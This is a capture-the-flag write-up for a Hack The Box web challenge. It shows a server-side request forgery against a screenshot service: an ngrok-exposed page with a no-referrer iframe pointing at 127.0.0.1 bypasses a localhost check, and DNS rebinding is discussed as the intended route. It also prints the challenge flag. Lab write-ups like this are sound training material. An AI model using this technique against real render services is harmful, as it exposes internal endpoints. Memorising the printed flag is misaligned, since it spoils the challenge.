baby CachedView
2 minutes to read
We have a Flask web application that allows us to render other websites inside it as an image:
Behind the hoods, the server is launching a Headless Chrome with selenium
, accessing the site we provided and taking a screenshot to show it. Here is an example:
The objective is to reach the endpoint /flag
:
@web.route('/flag')
@is_from_localhost
def flag():
return send_file('flag.png')
However, it is protected by checking that the request is done from 127.0.0.1
and has no Referer
header:
def is_from_localhost(func):
@functools.wraps(func)
def check_ip(*args, **kwargs):
if request.remote_addr != '127.0.0.1' or request.referrer:
return abort(403)
return func(*args, **kwargs)
return check_ip
The idea is to create a web server that hosts this index.html
file:
<!doctype html>
<html>
<head>
<title>Title</title>
<meta charset="utf-8">
</head>
<body>
<iframe referrerpolicy="no-referrer" src="http://127.0.0.1/flag"></iframe>
</body>
</html>
If the webapp is able to retrieve the file, then the iframe
will be called from the proper server (the local Headless Chrome), and the request will be performed from localhost
(127.0.0.1
). Plus, specifying referrerpolicy="no-referrer"
we ensure that there will be no Referer
header in the HTTP request.
We can easily create this server with Python (running python -m http.server
will start a server on port 8000). And then, to make it accessible, we can use ngrok
with the following command:
$ ngrok http 8000
ngrok
Session Status online
Account Rocky (Plan: Free)
Version 2.3.40
Region United States (us)
Latency 104.541459ms
Web Interface http://127.0.0.1:4040
Forwarding https://abcd-12-34-56-78.ngrok.io -> http://localhost:8000
Connections ttl opn rt1 rt5 p50 p90
1 0 0.00 0.00 0.00 0.00
Now we take the public URL from ngrok
and put it in the webapp. We will see some requests in the server log:
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::1 - - [] "GET / HTTP/1.1" 200 -
::1 - - [] code 404, message File not found
::1 - - [] "GET /favicon.ico HTTP/1.1" 404 -
And then, the webapp will render an image containing the flag inside our iframe
:
And there’s the flag:
HTB{reb1nd1ng_y0ur_dns_r3s0lv3r_0n3_qu3ry_4t_4_t1m3}
Despite getting the flag, the intended way is using DNS rebinding. The main idea is to enter a domain that resolves to an external IP address, and just after the check is passed, change the resolution to a local IP address (kind of a race condition), so that the /flag
endpoint is accessed correctly.
Using ngrok
(external) and the iframe
without Referer
header pointing to 127.0.0.1
(internal) makes it possible to bypass the two checks.